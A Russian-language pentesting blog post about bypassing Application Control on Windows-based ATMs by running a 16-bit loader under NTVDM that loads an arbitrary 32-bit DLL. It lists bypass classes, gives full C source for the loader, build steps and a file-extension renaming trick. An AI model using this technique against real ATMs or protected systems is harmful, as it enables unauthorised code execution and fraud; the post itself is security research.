April 11, 2021

Обходим Application Control через NTVDM

В рамках развития своей пентестерской деятельности заинтересовался такой областью, как защищенность банкоматов. Как все, наверное, знают, в большинстве случаев на сколько-нибудь современных банкоматах, стоят те или иные версии ОС Windows: от XP до 10 (в том числе Embedded/IoT редакции). В ОС запущен некий набор банковских приложений, а также реализованы дополнительные меры защиты, как, например, контроль работы приложений (Application Control). Об одном из способов обхода этой защиты и будет этот пост.

Способов обхода контроля запускаемых приложений существует большое количество и их применимость/не применимость зависит от грамотности произведенной настройки и используемых средств. Прежде тем перечислить основные способы обхода, я перечислю основные признаки, которые используются для контроля легитимности запускаемого приложения:

— полный/частичный путь к файлу приложения или директории;

— контрольная сумма файла (MD5, SHA-1 и т.д.);

— криптографическая подпись файла.

Вышеперечисленные методы используются в комбинации с белыми/черными списками приложений, а также доступных для запуска расширений. Теперь перейдем к способам обхода:

— выполнение в контексте доверенных приложений (cmd, NTVDM и т.д.) / интерпретаторов (Java, PHP и т.д.);

— коллизии хэш-функций;

— DLL hijacking.

Также можно отметить обход черного списка расширений (редкие расширения, про которые не все помнят, вроде .scr, .com) и использование уязвимостей в самих защищающих продуктах (не AppLocker'ом едины) / в установленном ПО. Подробнее о вышеперечисленных вещах можно узнать из тематических докладов со всевозможных конференций или обратиться к yarbabin, как к автору одного из материалов по теме.

Вернемся к сути статьи: рассмотрим подробнее способ обхода через выполнение в контексте доверенного приложения, а конкретнее - NTVDM. В контексте NTVDM в современных x86-версиях Windows (а нештатным образом и в x64 - https://github.com/leecher1337/ntvdmx64) исполняются 16-разрядные приложения.

Если вы думаете, что 16-разрядные приложения - это исключительно прерывания, ассемблер и примитивные операции времен MS-DOS, то это не так. Во времена Windows 3.11 и позднее можно было создавать 16-разрядные приложения с использованием WinAPI, причем из такого приложения никто не мешает загрузить 32-разрядную динамическую библиотеку, которая будет исполнять произвольный код, разработанный в привычной для современного разработчика среде. Такой вот тривиальный и относительно известный способ обхода.

Ниже я приведу пример кода для старой среды разработки Microsoft Visual C 1.52 (последняя версия, которая позволяла собирать 16-разрядные файлы, если верить Wiki) реализуюший вышеописанную задачу.

Итак, нам понадобятся: загрузочная дискета Windows 95, образ Windows 95 и Microsoft Visual C 1.52c. После установки ОС и среды разработки на виртуальную машину, запускаем среду и копируем туда следующий код:

#include <Windows.h>
 
DECLARE_HANDLE32(HPROC32);
DECLARE_HANDLE32(HINSTANCE32);
 
int main(int argc, char** argv)
{
 HMODULE hModule;
 HINSTANCE32 hDll;
 HINSTANCE32 (WINAPI *LoadLibraryEx32W) (LPCSTR, DWORD, DWORD);
 BOOL (WINAPI *FreeLibrary32W) (HINSTANCE32);
 
 printf("begin" "\n");
 
    if(argc != 2)
 {
  printf("Usage: loader.exe my.dll" "\n");
  return 1;
 }
 
 hModule = GetModuleHandle("KERNEL");
 if(!hModule)
 {
  printf("GetModuleHandle - %08X" "\n", hModule);
  return 1;
 }
 
 (FARPROC) LoadLibraryEx32W = GetProcAddress(hModule, "LoadLibraryEx32W");
 (FARPROC) FreeLibrary32W = GetProcAddress(hModule, "FreeLibrary32W");
 if(!LoadLibraryEx32W || !FreeLibrary32W)
 {
  printf("GetProcAddress - %08X, %08X" "\n", LoadLibraryEx32W,FreeLibrary32W);
  return 1;
 }
 
 
 hDll = LoadLibraryEx32W(argv[1], 0, 0);
 if(!hDll)
 {
  printf("LoadLibraryEx32W - %08X" "\n", hDll);
  return 1;
 }
 
 getchar();
 
 FreeLibrary32W(hDll);
 
 printf("end" "\n");
 
 return 0;
}

Код довольно примитивен: мы просто вызываем штатные, но не слишком известные модификации методов LoadLibrary и FreeLibrary для 32-разрядных приложений из 16-разрядного, а также используем макрос DECLARE_HANDLE32. Что он из себя представляет? Да в общем-то ничего особенного:

#ifdef STRICT
#define DECLARE_HANDLE32(name)  struct name##__ { int unused; }; \
                                typedef const struct name##__ _far* name
#else   /* STRICT */
#define DECLARE_HANDLE32(name)  typedef DWORD name
#endif  /* !STRICT */
#endif  /* !DECLARE_HANDLE32 */

Стандартный легаси-макрос, который знаком только бородатым программистам. Кстати, вы можете спросить, зачем я вызываю FreeLibrary32W в конце кода, хотя казалось бы, после завершения процесса динамическая библиотека и так будет выгружена - отнюдь. В данном случае все работает несколько иначе. После запуска вышеописанного кода, библиотека подгружается в контексте процесса ntvdm.exe, однако, после завершения работы она не выгружается.

Скорее всего это связанно либо с тем, что разработчики не захотели заморачиваться, либо с организацией памяти системы в старых версиях Windows, которая существовала вплоть до Windows NT, аутентичная эмуляция так сказать.

Теперь давайте скомпилируем наше приложение и проверим его работоспособность. Для этого просто выберем из меню среды разработки Options->Project->QuickWin application (.EXE), а также Build Mode - Release.

После этого нажмем Shift+F8 или через меню Project->Build ***. Формат QuickWin application был выбран из-за простоты и отсутствия необходимости создавать проект, хоть и добавляет солидный по тем временам оверхед: результирующий файл получился размером ~ 43 КБ.

Перенесем полученный файл на целевую систему и попробуем его запустить, указав в качестве аргумента имя 32-разрядной динамической библиотеки, расположенной в той же директории, что и запускаемый файл (DLL, которая выводит Hello World, можно взять отсюда или собрать самому).

Ожидаемый результат получен, DLL была подгружена в процесс ntvdm.exe, а процесс с именем нашего исполняемого файла (кстати, файлу можно изменить расширение, например, на .com) технически так и не был создан. Успех.